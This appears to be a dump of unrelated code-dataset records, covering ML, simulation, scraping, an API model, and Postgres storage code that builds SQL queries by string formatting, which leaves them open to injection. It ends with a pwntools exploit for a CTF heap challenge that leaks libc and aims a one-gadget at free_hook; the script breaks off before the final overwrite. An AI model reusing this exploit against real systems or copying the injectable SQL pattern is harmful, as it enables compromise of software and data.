0] / max(w - 1, 1) - 1.0 # copied\n vgrid_y = 2.0 * phi_p_q_plus_deltas[:, :, :, 1] / max(h - 1, 1) - 1.0 # copied\n vgrid_scaled = torch.stack((vgrid_x, vgrid_y), dim=3) # stack the\n\n # B*M, C_v, H, W\n # bilinear interpolation as explained in deformable convolution\n\n sampled = F.grid_sample(W_prim_x, vgrid_scaled, mode='bilinear', padding_mode='zeros')\n offseted_features.append(sampled)\n return torch.stack(offseted_features, dim=3)\n\n def init_parameters(self):\n torch.nn.init.constant_(self.delta_proj.weight, 0.0)\n torch.nn.init.constant_(self.Attention_projection.weight, 0.0)\n\n torch.nn.init.constant_(self.Attention_projection.bias, 1 / (self.L * self.K))\n\n def init_xy(bias, x, y):\n torch.nn.init.constant_(bias[:, 0], float(x))\n torch.nn.init.constant_(bias[:, 1], float(y))\n\n # caution: offset layout will be M, L, K, 2\n bias = self.delta_proj.bias.view(self.M, self.L, self.K, 2)\n\n init_xy(bias[0], x=-self.K, y=-self.K)\n init_xy(bias[1], x=-self.K, y=0)\n init_xy(bias[2], x=-self.K, y=self.K)\n init_xy(bias[3], x=0, y=-self.K)\n init_xy(bias[4], x=0, y=self.K)\n init_xy(bias[5], x=self.K, y=-self.K)\n init_xy(bias[6], x=self.K, y=0)\n init_xy(bias[7], x=self.K, y=self.K)\n","sub_path":"models/MultiHeadAttention.py","file_name":"MultiHeadAttention.py","file_ext":"py","file_size_in_byte":8862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"280993185","text":"#!/usr/bin/env python\n\nimport numpy\nimport random\nimport matplotlib.pyplot as pyplot\nimport lib\nimport plotting\nfrom scipy.integrate import odeint\nimport os\nimport shutil\n\n#--------------------LIB--------------------\n\ndef makebaldir(gate):\n '''Makes directory for storing system balance data. Gate is directory name'''\n try:\n os.makedirs(gate)\n except FileExistsError:\n YN = input('{} already exists. Remove it? (Y/N)\\n'.format(gate))\n if YN == 'Y' or YN == 'y':\n shutil.rmtree(gate)\n os.makedirs(gate)\n elif YN == 'N' or YN == 'n':\n print('Terminating......')\n exit(0)\n else:\n makebaldir(gate)\n\n\n#--------------------MAIN--------------------\n\nargs = eval(input('Enter [number of receptors, number of systems]\\n'))\nnum_rs = args[0]\nnum_sys = args[1]\n\nmakebaldir('{}_receptor_balance'.format(num_rs))\n\nruns = 20\nCa_max = 0.13 #Max Ca calculated by integrating influence function over area of receptor and averaging\nCa_bg = 70e-9 #Background calcium from Mammano report\ndists = numpy.linspace(1e-7, 4e-7, 25)\n\nfor r in dists:\n\n channels, states, concs = lib.wire_init([num_rs, r, num_sys]) #Arguments are [number of receptors, separation, number of systems]\n C = lib.conc_mat(channels, num_rs, Ca_max)\n\n f = open('metastates.txt', 'w')\n\n t_tot = 0 #Total run time\n t = 1e-5 #Size of timestep\n\n for i in range(num_sys): #Setting initial values\n channels[i][0].state = 2 #First receptor set to open\n states[i][0] = 2\n channels[i][0].calc_rates(Ca_bg)\n for j in range(num_rs - 1):\n channels[i][j+1].state = 2 #All others set to closed\n states[i][j+1] = 2\n channels[i][j+1].calc_rates(lib.get_Ca(C, states[i], j, Ca_bg))\n\n lib.update_concs(states, concs, 0)\n\n #CARRIES OUT MONTE CARLO RUN\n while(t_tot < 2):\n \n t = lib.timeop_2D(channels, states)\n \n #EXECUTE TIMESTEP\n for i in range(num_sys):\n for j in range(num_rs):\n channels[i][j].calc_rates(lib.get_Ca(C, states[i], j, Ca_bg) + concs[i][j])\n channels[i][j].timestep(t)\n states[i][j] = channels[i][j].DisplayState()\n \n lib.update_concs(states, concs, t) #Sets concs to post-timestep levels\n\n if t_tot >= 1: #Start time average after t = 1\n lib.write_metastates(f, states)\n \n t_tot += t \n \n f.close()\n lib.findbalance_met(num_rs, r)\n print('r={} complete'.format(r))\n\nos.remove('metastates.txt')\nprint('Complete')\n","sub_path":"metabalic.py","file_name":"metabalic.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"418203685","text":"#https://icpcarchive.ecs.baylor.edu/index.php?option=com_onlinejudge&Itemid=8&page=show_problem&problem=6201\r\nimport sys \r\nMAX = 10**(101)\r\nend = MAX*MAX*2\r\nfor line in sys.stdin:\r\n\r\n\tx,y = line.strip().split()\r\n\ta = x.split('/')\r\n\tb = 1\r\n\tc = y.split('/')\r\n\td = 1\r\n\tif len(a) !=1:\r\n\t\ta,b = a\r\n\telse:\r\n\t\ta = a[0]\r\n\tif len(c) != 1:\r\n\t\tc,d = c\r\n\telse:\r\n\t\tc = c[0]\r\n\t#demonator:\r\n\ta =int(a)\r\n\tb = int(b)\r\n\tc = int(c)\r\n\td = int(d)\r\n\tde = b*b *d*d\r\n\t#print(de)\r\n\tl = 0\r\n\tr = end\r\n\tfound1 = False\r\n\t#print(\"numerator\")\r\n\tfor i in range(1000):\r\n\t\tmid = int((l + r)//2)\r\n\t\ttemp = mid * mid\r\n\t\t#print(temp)\r\n\t\tif temp==de:\r\n\t\t\tfound1 = True\r\n\t\t\tbreak\r\n\t\telif temp
.zip\" (ex. \"data/HD2015.zip\")\n line = line[index_begin : index_end]\n # filter out empty lines\n if line == '':\n continue\n else:\n # write the partial url (\"data/.zip\") into file\n out_file.write(\"{}\\n\".format(line))\n\ndef unzip_delete(filename):\n \"\"\" unzips zip files and deletes zip file, take in filename without file extension \"\"\"\n # unzip zip files\n with zipfile.ZipFile('./data/{}'.format(filename),\"r\") as zip_ref:\n zip_ref.extractall('./csv/{}'.format(filename))\n \n # zipfile unzips files but keeps the directory structure\n # i.e. file.zip becomse file.zip > fileCSV.csv\n # these next two pieces of code:\n \n # move csv file out of folder\n for file in glob.glob('./csv/{}/*'.format(filename)):\n # print(file)\n # shutil.copy(file, dest_dir)\n # './csv/{}/{}.csv'.format(filename, filename[: filename.find('.')].lower())\n shutil.move(file, './csv/') \n \n # delete (now) empty folder\n shutil.rmtree('./csv/{}'.format(filename))\n\ndef single_download(year, check=False, prefix='HD', url='data/', file_ex='.zip'):\n \"\"\" downloads a single year's .zip data file \"\"\"\n if check is True:\n # checks if file exists\n res = requests.head('https://nces.ed.gov/ipeds/datacenter/{}{}{}{}'\n .format(url, prefix, year, file_ex))\n print('{}{}{} {}'.format(prefix, year, file_ex, str(res)))\n else:\n res = requests.get('https://nces.ed.gov/ipeds/datacenter/{}{}{}{}'\n .format(url, prefix, year, file_ex))\n if res.status_code == 200:\n with open('./data/{}{}.zip'.format(prefix, year), 'wb') as out_file:\n out_file.write(res.content)\n unzip_delete('{}{}'.format(prefix, year))\n return 0\n else:\n return -1\n\ndef series_download(year_begin, year_end, prefix='HD', url='data/', file_ex='.zip'): \n \"\"\" downloads all .zip data files from the year_begin to year_end \"\"\"\n if (year_begin > year_end):\n tmp = year_begin\n year_begin = year_end\n year_end = tmp\n\n for year in range(year_begin, year_end + 1):\n print('Downloading {}{} File'.format(prefix, year))\n single_download(year, prefix='HD', url='data/', file_ex='.zip')\n print('...Download {}{} File Complete'.format(prefix, year))\n\ndef downloader(prefix='HD', check=False, check_all=False):\n \"\"\" parses file (download_links.txt) generates by g_dlinks()\n and downloads (or checks) .zip files \"\"\"\n # download wanted files\n with open('./cache/download_links.txt') as in_file:\n for line in in_file:\n line = str(line)\n line = line.strip()\n\n if check_all is True:\n # checks if any file exists\n res = requests.head('https://nces.ed.gov/ipeds/datacenter/{}'.format(line))\n print(line + ' ' + str(res))\n elif line.find(prefix) == -1:\n # skip the current line if not the prefix we want\n continue\n else:\n if check is True:\n # checks if file exists\n res = requests.head('https://nces.ed.gov/ipeds/datacenter/{}'.format(line))\n print(line + ' ' + str(res))\n else:\n # download file\n res = requests.get('https://nces.ed.gov/ipeds/datacenter/{}'.format(line))\n if res.status_code == 200:\n filename = line[line.find('/') + 1 :]\n with open('./data/{}'.format(filename),\n 'wb') as out_file:\n out_file.write(res.content)\n print('...Download {} Complete'.format(filename))\n unzip_delete('{}'.format(filename))\n else:\n # skip the current line\n continue\n\ndef main():\n \"\"\" main subroutine \"\"\"\n des = \"\"\"This program scraps the IPEDS website for its .csv data files.\"\"\"\n\n # initiate the parser\n parser = argparse.ArgumentParser(description=des)\n # define argument options\n parser.add_argument('-f',\n '--fresh',\n help='refreshes download cache, \\\n run if the files you are getting are old',\n action='store_true')\n parser.add_argument('-p',\n '--prefix',\n help='define the prefix of the files wanted, \\\n default is \"HD\" (for getting HDxxxx.zip files for example)')\n parser.add_argument('-y',\n '--year',\n help='input one number indicating the year you want \\\n and downloads it with specified prefix')\n parser.add_argument('-s',\n '--series',\n nargs=2,\n help='input two numbers indicating series of years you want \\\n (from year of first number to year of second number) \\\n and downloads them with specified prefix')\n parser.add_argument('-c',\n '--check',\n help='checks to see if the files \\\n (with the given prefix - default is HD - and year) exist')\n parser.add_argument('-a',\n '--checkAll',\n help='checks to see if any files exist \\\n (note that checkAll overrides all other options), \\\n indicates that it does \\\n (google search HTTP codes for other troubleshooting)',\n action='store_true')\n parser.add_argument('-d',\n '--downloadAll',\n help='downloads all files with specified prefix',\n action='store_true')\n\n # read arguments from the command line\n args = parser.parse_args()\n\n print('')\n if args.checkAll:\n print('Checking All Files...')\n downloader(check_all=True)\n return\n\n if args.fresh:\n print('Refreshing Download Cache...')\n scrape()\n print('...Parsing HTML for Download Links...')\n get_dlinks()\n print('...Download Cache Refreshed')\n return\n\n if args.prefix is None:\n args.prefix = 'HD'\n print('Prefix Used: {}'.format(args.prefix))\n\n if args.check:\n print('Checking {}{} File'.format(args.prefix, args.check))\n single_download(args.check, prefix='HD', check=True)\n return\n \n if args.year:\n print('Year: {}'.format(args.year))\n print('Downloading {}{} File'.format(args.prefix, args.year))\n if single_download(args.year, prefix=args.prefix) == 0:\n print('...Download Complete')\n else:\n print('...File Does Not Exist')\n return\n \n if args.series:\n print('Years: {} - {}'.format(args.series[0], args.series[1]))\n series_download(int(args.series[0]), int(args.series[1]))\n return\n\n if args.downloadAll:\n print('Downloading All {} Files...'.format(args.prefix))\n downloader(prefix=args.prefix)\n print('...Download Complete')\n\nif __name__ == '__main__':\n main()\n","sub_path":"data_script.py","file_name":"data_script.py","file_ext":"py","file_size_in_byte":9269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"212776227","text":"# coding: utf-8\n\n\"\"\"\n Bungie.Net API\n\n These endpoints constitute the functionality exposed by Bungie.net, both for more traditional website functionality and for connectivity to Bungie video games and their related functionality. # noqa: E501\n\n OpenAPI spec version: 2.3.6\n Contact: support@bungie.com\n Generated by: https://openapi-generator.tech\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\n\nclass DestinyVendorSaleItemBaseComponent(object):\n \"\"\"NOTE: This class is auto generated by OpenAPI Generator.\n Ref: https://openapi-generator.tech\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n openapi_types = {\n 'vendor_item_index': 'int',\n 'item_hash': 'int',\n 'override_style_item_hash': 'int',\n 'quantity': 'int',\n 'costs': 'list[DestinyItemQuantity]',\n 'override_next_refresh_date': 'datetime'\n }\n\n attribute_map = {\n 'vendor_item_index': 'vendorItemIndex',\n 'item_hash': 'itemHash',\n 'override_style_item_hash': 'overrideStyleItemHash',\n 'quantity': 'quantity',\n 'costs': 'costs',\n 'override_next_refresh_date': 'overrideNextRefreshDate'\n }\n\n def __init__(self, vendor_item_index=None, item_hash=None, override_style_item_hash=None, quantity=None, costs=None, override_next_refresh_date=None): # noqa: E501\n \"\"\"DestinyVendorSaleItemBaseComponent - a model defined in OpenAPI\"\"\" # noqa: E501\n\n self._vendor_item_index = None\n self._item_hash = None\n self._override_style_item_hash = None\n self._quantity = None\n self._costs = None\n self._override_next_refresh_date = None\n self.discriminator = None\n\n if vendor_item_index is not None:\n self.vendor_item_index = vendor_item_index\n if item_hash is not None:\n self.item_hash = item_hash\n self.override_style_item_hash = override_style_item_hash\n if quantity is not None:\n self.quantity = quantity\n if costs is not None:\n self.costs = costs\n self.override_next_refresh_date = override_next_refresh_date\n\n @property\n def vendor_item_index(self):\n \"\"\"Gets the vendor_item_index of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n\n The index into the DestinyVendorDefinition.itemList property. Note that this means Vendor data *is* Content Version dependent: make sure you have the latest content before you use Vendor data, or these indexes may mismatch. Most systems avoid this problem, but Vendors is one area where we are unable to reasonably avoid content dependency at the moment. # noqa: E501\n\n :return: The vendor_item_index of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n :rtype: int\n \"\"\"\n return self._vendor_item_index\n\n @vendor_item_index.setter\n def vendor_item_index(self, vendor_item_index):\n \"\"\"Sets the vendor_item_index of this DestinyVendorSaleItemBaseComponent.\n\n The index into the DestinyVendorDefinition.itemList property. Note that this means Vendor data *is* Content Version dependent: make sure you have the latest content before you use Vendor data, or these indexes may mismatch. Most systems avoid this problem, but Vendors is one area where we are unable to reasonably avoid content dependency at the moment. # noqa: E501\n\n :param vendor_item_index: The vendor_item_index of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n :type: int\n \"\"\"\n\n self._vendor_item_index = vendor_item_index\n\n @property\n def item_hash(self):\n \"\"\"Gets the item_hash of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n\n The hash of the item being sold, as a quick shortcut for looking up the DestinyInventoryItemDefinition of the sale item. # noqa: E501\n\n :return: The item_hash of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n :rtype: int\n \"\"\"\n return self._item_hash\n\n @item_hash.setter\n def item_hash(self, item_hash):\n \"\"\"Sets the item_hash of this DestinyVendorSaleItemBaseComponent.\n\n The hash of the item being sold, as a quick shortcut for looking up the DestinyInventoryItemDefinition of the sale item. # noqa: E501\n\n :param item_hash: The item_hash of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n :type: int\n \"\"\"\n\n self._item_hash = item_hash\n\n @property\n def override_style_item_hash(self):\n \"\"\"Gets the override_style_item_hash of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n\n If populated, this is the hash of the item whose icon (and other secondary styles, but *not* the human readable strings) should override whatever icons/styles are on the item being sold. If you don't do this, certain items whose styles are being overridden by socketed items - such as the \\\"Recycle Shader\\\" item - would show whatever their default icon/style is, and it wouldn't be pretty or look accurate. # noqa: E501\n\n :return: The override_style_item_hash of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n :rtype: int\n \"\"\"\n return self._override_style_item_hash\n\n @override_style_item_hash.setter\n def override_style_item_hash(self, override_style_item_hash):\n \"\"\"Sets the override_style_item_hash of this DestinyVendorSaleItemBaseComponent.\n\n If populated, this is the hash of the item whose icon (and other secondary styles, but *not* the human readable strings) should override whatever icons/styles are on the item being sold. If you don't do this, certain items whose styles are being overridden by socketed items - such as the \\\"Recycle Shader\\\" item - would show whatever their default icon/style is, and it wouldn't be pretty or look accurate. # noqa: E501\n\n :param override_style_item_hash: The override_style_item_hash of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n :type: int\n \"\"\"\n\n self._override_style_item_hash = override_style_item_hash\n\n @property\n def quantity(self):\n \"\"\"Gets the quantity of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n\n How much of the item you'll be getting. # noqa: E501\n\n :return: The quantity of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n :rtype: int\n \"\"\"\n return self._quantity\n\n @quantity.setter\n def quantity(self, quantity):\n \"\"\"Sets the quantity of this DestinyVendorSaleItemBaseComponent.\n\n How much of the item you'll be getting. # noqa: E501\n\n :param quantity: The quantity of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n :type: int\n \"\"\"\n\n self._quantity = quantity\n\n @property\n def costs(self):\n \"\"\"Gets the costs of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n\n A summary of the current costs of the item. # noqa: E501\n\n :return: The costs of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n :rtype: list[DestinyItemQuantity]\n \"\"\"\n return self._costs\n\n @costs.setter\n def costs(self, costs):\n \"\"\"Sets the costs of this DestinyVendorSaleItemBaseComponent.\n\n A summary of the current costs of the item. # noqa: E501\n\n :param costs: The costs of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n :type: list[DestinyItemQuantity]\n \"\"\"\n\n self._costs = costs\n\n @property\n def override_next_refresh_date(self):\n \"\"\"Gets the override_next_refresh_date of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n\n If this item has its own custom date where it may be removed from the Vendor's rotation, this is that date. Note that there's not actually any guarantee that it will go away: it could be chosen again and end up still being in the Vendor's sale items! But this is the next date where that test will occur, and is also the date that the game shows for availability on things like Bounties being sold. So it's the best we can give. # noqa: E501\n\n :return: The override_next_refresh_date of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n :rtype: datetime\n \"\"\"\n return self._override_next_refresh_date\n\n @override_next_refresh_date.setter\n def override_next_refresh_date(self, override_next_refresh_date):\n \"\"\"Sets the override_next_refresh_date of this DestinyVendorSaleItemBaseComponent.\n\n If this item has its own custom date where it may be removed from the Vendor's rotation, this is that date. Note that there's not actually any guarantee that it will go away: it could be chosen again and end up still being in the Vendor's sale items! But this is the next date where that test will occur, and is also the date that the game shows for availability on things like Bounties being sold. So it's the best we can give. # noqa: E501\n\n :param override_next_refresh_date: The override_next_refresh_date of this DestinyVendorSaleItemBaseComponent. # noqa: E501\n :type: datetime\n \"\"\"\n\n self._override_next_refresh_date = override_next_refresh_date\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.openapi_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, DestinyVendorSaleItemBaseComponent):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","sub_path":"bungie_sdk_python/Model/Destiny/Components/Vendors/destiny_vendor_sale_item_base_component.py","file_name":"destiny_vendor_sale_item_base_component.py","file_ext":"py","file_size_in_byte":10830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"651993502","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 25 12:10:27 2019\n\n@author: mike\n\"\"\"\n\nfrom selenium import webdriver\nimport re\nimport time\nfrom urllib import request\n\n#input keyword here\nkeyword='confusing+expression'\n\nheaders = {\n 'User_Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36'\n}\n\ndef main():\n summ=0\n driver = webdriver.Chrome()\n driver.get(\"https://www.google.com/search?biw=1200&bih=638&tbm=isch&sa=1&ei=bK6yXfCFLumQr7wP_4S54As&q=confusing+expression&oq=\"+keyword)\n \n for i in range(20):\n js=\"var q=document.documentElement.scrollTop=100000\"\n driver.execute_script(js)\n time.sleep(0.3)\n \n pi1=driver.find_element_by_xpath('//*[@id=\"cnt\"]/div[4]').click()\n \n for i in range(20):\n js=\"var q=document.documentElement.scrollTop=100000\"\n driver.execute_script(js)\n time.sleep(0.3)\n \n for i in range (900):\n try:\n pi1=driver.find_element_by_xpath('//*[@id=\"rg_s\"]/div['+str(i)+']').get_attribute('innerHTML')\n result=re.findall(r'\"ou\":\"(.*?)\"',pi1,re.S)\n req = request.Request(url=result[0], headers= headers)\n response = request.urlopen(req,timeout=4)\n file=open(str(summ)+'.jpg','wb')\n file.write(response.read())\n summ=summ+1\n print(summ)\n file.close()\n except:\n pass\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"google.py","file_name":"google.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"258324755","text":"\"\"\"\nprovides stateful event storage using postgresql\n\"\"\"\n\nfrom string import Template\nfrom txbitwrap.storage.postgres import ProgrammingError, connect\nfrom twisted.internet import defer\nimport psycopg2\n\n_DB = {}\n\n# TODO: after refactor to use adbapi adapter \n# relocate these classes to txbitwrap/storage/postgres/__init__.py\n# this module should provide a factory method for returning storage\nclass Storage(object):\n \"\"\" PGSQL Storage provider \"\"\"\n\n def __init__(self, schema, **kwargs):\n global _DB\n\n if schema in _DB:\n self.db = _DB[schema]\n else:\n self.db = Database(schema, kwargs)\n _DB[schema] = self.db\n\n def commit(self, req):\n \"\"\" execute transition and persist to storage on success \"\"\"\n\n if req['payload'] == '':\n req['payload'] = '{}'\n\n\n sql = \"\"\"\n INSERT INTO %s.events(oid, action, payload)\n VALUES('%s', '%s', '%s')\n RETURNING\n to_json((hash, oid, seq )::%s.event) as event;\n \"\"\" % (self.db.schema, req['oid'], req['action'], req['payload'], self.db.schema)\n\n d = self.db.conn.runQuery(sql)\n\n def _fail(failure):\n #print failure\n if failure.type == psycopg2.IntegrityError:\n req['__err__'] = 'CONFLICT'\n else:\n req['__err__'] = 'INVALID'\n return req\n\n d.addCallback(lambda reply: reply[0][0])\n d.addErrback(_fail)\n return d\n\n\nclass Database(object):\n \"\"\" store \"\"\"\n\n def __init__(self, schema, rds_config):\n self.conn = connect(**rds_config)\n\n self.schema = schema\n self.states = States(self)\n self.events = Events(self)\n\n def schema_exists(self):\n \"\"\"\n test that an event-machine schema exists\n \"\"\"\n d = self.conn.runQuery(\"\"\"\n select exists(SELECT schema_name FROM information_schema.schemata WHERE schema_name = '%s');\n \"\"\" % self.schema)\n\n d.addCallback(lambda res: res[0][0])\n\n return d\n\n def stream_exists(self, oid):\n \"\"\"\n test that a stream exists\n \"\"\"\n sql = \"\"\"\n SELECT exists(select oid FROM %s.states where oid = '%s');\n \"\"\" % (self.schema, oid)\n\n d = self.conn.runQuery(sql)\n d.addCallback(lambda res: res[0][0])\n\n return d\n\n def create_stream(self, oid):\n \"\"\"\n create a new stream if it doesn't exist \n \"\"\"\n d = self.conn.runOperation(\"\"\"\n INSERT into %s.states (oid) values ('%s')\n \"\"\" % (self.schema, oid))\n\n return d\n\nclass States(object):\n \"\"\" Model \"\"\"\n\n def __init__(self, db):\n self.db = db\n\n def fetch(self, key):\n \"\"\" get event by eventid \"\"\"\n\n tpl = Template(\"\"\"\n SELECT\n to_json((ev.hash, st.oid, ev.action, st.rev, st.state, ev.payload, modified, created)::${name}.current_state)\n FROM\n ${name}.states st\n LEFT JOIN\n ${name}.events ev ON ev.oid = st.oid AND ev.seq = st.rev\n WHERE\n st.oid = '${oid}'\n \"\"\")\n\n sql = tpl.substitute(\n name=self.db.schema,\n oid=key\n )\n\n d = self.db.conn.runQuery(sql)\n d.addCallback(lambda res: res[0][0])\n\n return d\n\nclass Events(object):\n \"\"\" Model \"\"\"\n\n def __init__(self, db):\n self.db = db\n\n def fetch(self, key):\n \"\"\" get event by eventid \"\"\"\n\n sql = \"\"\"\n SELECT\n row_to_json((hash, oid, seq, action, payload, timestamp)::%s.event_payload)\n FROM\n %s.events\n WHERE\n hash = '%s'\n ORDER BY seq DESC\n \"\"\" % (self.db.schema, self.db.schema, key)\n\n d = self.db.conn.runQuery(sql)\n d.addCallback(lambda res: res[0][0])\n return d\n\n def fetchall(self, key):\n\n sql = \"\"\"\n SELECT\n row_to_json((hash, oid, seq, action, payload, timestamp)::%s.event_payload)\n FROM\n %s.events\n WHERE\n oid = '%s'\n ORDER BY seq DESC\n \"\"\" % (self.db.schema, self.db.schema, key)\n\n def _unpack(rows):\n reply = [row[0] for row in rows]\n return reply\n\n d = self.db.conn.runQuery(sql)\n d.addCallback(_unpack)\n return d\n","sub_path":"txbitwrap/storage/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"503810761","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom pwn import *\nimport os, sys\n\n# Setting at first\nDEBUG = 1\nLIBCV = 2.19\ncontext.arch = \"amd64\"\n\n#context.log_level = \"debug\"\nelf = ELF(\"./mergeheap\",checksec=False)\n\n# synonyms for faster typing\ntube.s = tube.send\ntube.sl = tube.sendline\ntube.sa = tube.sendafter\ntube.sla = tube.sendlineafter\ntube.r = tube.recv\ntube.ru = tube.recvuntil\ntube.rl = tube.recvline\ntube.ra = tube.recvall\ntube.rr = tube.recvregex\ntube.irt = tube.interactive\n\nif DEBUG == 1:\n if context.arch == \"i386\":\n libc = ELF(\"/lib/i386-linux-gnu/libc.so.6\",checksec=False)\n elif context.arch == \"amd64\":\n libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\",checksec=False)\n s = process(\"./mergeheap\")\nelif DEBUG == 2:\n if context.arch == \"i386\":\n libc = ELF(\"/root/toolchain/elf/glibc/glibc-\"+str(LIBCV)+\"/x86/libc.so.6\",checksec=False)\n os.system(\"patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-\"+str(LIBCV)+\"/x86/ld-linux-x86-64.so.2 mergeheap\")\n os.system(\"patchelf --set-rpath /root/toolchain/elf/glibc/glibc-\"+str(LIBCV)+\"/x86:/libc.so.6 mergeheap\")\n elif context.arch == \"amd64\":\n libc = ELF(\"/root/toolchain/elf/glibc/glibc-\"+str(LIBCV)+\"/x64/libc.so.6\",checksec=False)\n os.system(\"patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-\"+str(LIBCV)+\"/x64/ld-linux-x86-64.so.2 mergeheap\")\n os.system(\"patchelf --set-rpath /root/toolchain/elf/glibc/glibc-\"+str(LIBCV)+\"/x64:/libc.so.6 mergeheap\")\n s = process(\"./mergeheap\")\nelif DEBUG == 3:\n libc = ELF(\"./libc-2.27.so\",checksec=False)\n ip = \"152.136.21.148\" \n port = 23886\n s = remote(ip,port)\n\ndef z(addr):\n raw_input(\"debug?\")\n gdb.attach(s, \"b *\" + str(addr))\n\nwordSz = 4\nhwordSz = 2\nbits = 32\nPIE = 0\nmypid=0\ndef leak(address, size):\n with open(\"/proc/%s/mem\" % mypid) as mem:\n mem.seek(address)\n return mem.read(size)\n\ndef findModuleBase(pid, mem):\n name = os.readlink(\"/proc/%s/exe\" % pid)\n with open(\"/proc/%s/maps\" % pid) as maps:\n for line in maps:\n if name in line:\n addr = int(line.split(\"-\")[0], 16)\n mem.seek(addr)\n if mem.read(4) == \"\\x7fELF\":\n bitFormat = u8(leak(addr + 4, 1))\n if bitFormat == 2:\n global wordSz\n global hwordSz\n global bits\n wordSz = 8\n hwordSz = 4\n bits = 64\n return addr\n log.failure(\"Module's base address not found.\")\n sys.exit(1)\n\ndef zx(addr = 0):\n global mypid\n mypid = proc.pidof(s)[0]\n raw_input(\"debug?\")\n with open(\"/proc/%s/mem\" % mypid) as mem:\n moduleBase = findModuleBase(mypid, mem)\n gdb.attach(s, \"set follow-fork-mode parent\\nb *\" + hex(moduleBase+addr))\n\ndef clean():\n s.close()\n\n if DEBUG == 2:\n if context.arch == \"i386\":\n os.system(\"patchelf --set-interpreter /lib/ld-linux.so.2 mergeheap\")\n os.system(\"patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 mergeheap\")\n if context.arch == \"amd64\":\n os.system(\"patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 mergeheap\")\n os.system(\"patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 mergeheap\")\n\ndef menu(x):\n s.sla(\">>\", str(x))\n\ndef add(size, data):\n menu(1)\n s.sla(\"len:\", str(size))\n s.sa(\"content:\", data)\n\ndef show(idx):\n menu(2)\n s.sla(\"idx:\", str(idx))\n\ndef delete(idx):\n menu(3)\n s.sla(\"idx:\" ,str(idx))\n\ndef merge(idx1, idx2):\n menu(4)\n s.sla(\"idx1:\", str(idx1))\n s.sla(\"idx2:\", str(idx2))\n\ndef pwn():\n add(0x70, 'A'*0x70) # 0\n add(0x40, 'a'*0x40) # 1\n add(0x38, 'b'*0x38) # 2\n add(0x90, chr(0)*8+p64(0x91)+'\\n') # 3\n\n\n delete(0)\n merge(1,2) # bug\n\n delete(2) # for hijack\n delete(1)\n \n add(0x90, 'A\\n') # for 0x90 * 'A'\n add(0x50, 'b\\n') # for hijack\n\n\n # for tcache\n for i in range(7):\n add(0x90, 'C\\n')\n \n for i in range(7):\n delete(i+4)\n\n delete(3)\n\n add(0x90, 'C\\n')\n delete(1)\n add(0x90, 'A'*0x90)\n\n show(1)\n\n s.ru('A'*0x90)\n libc.address = u64(s.r(6) + \"\\0\\0\") - 0x3ebca0\n free_hook = libc.sym[\"__free_hook\"]\n one_shot = libc.address + 0x4f322#0x4f2c5\n info(\"libc.address 0x%x\", libc.address)\n info(\"free_hook 0x%x\", free_hook)\n info(\"one_shot 0x%x\", one_shot)\n\n '''\n 0x4f2c5\texecve(\"/bin/sh\", rsp+0x40, environ)\n constraints:\n rcx == NULL\n\n 0x4f322\texecve(\"/bin/sh\", rsp+0x40, environ)\n constraints:\n [rsp+0x40] == NULL\n\n 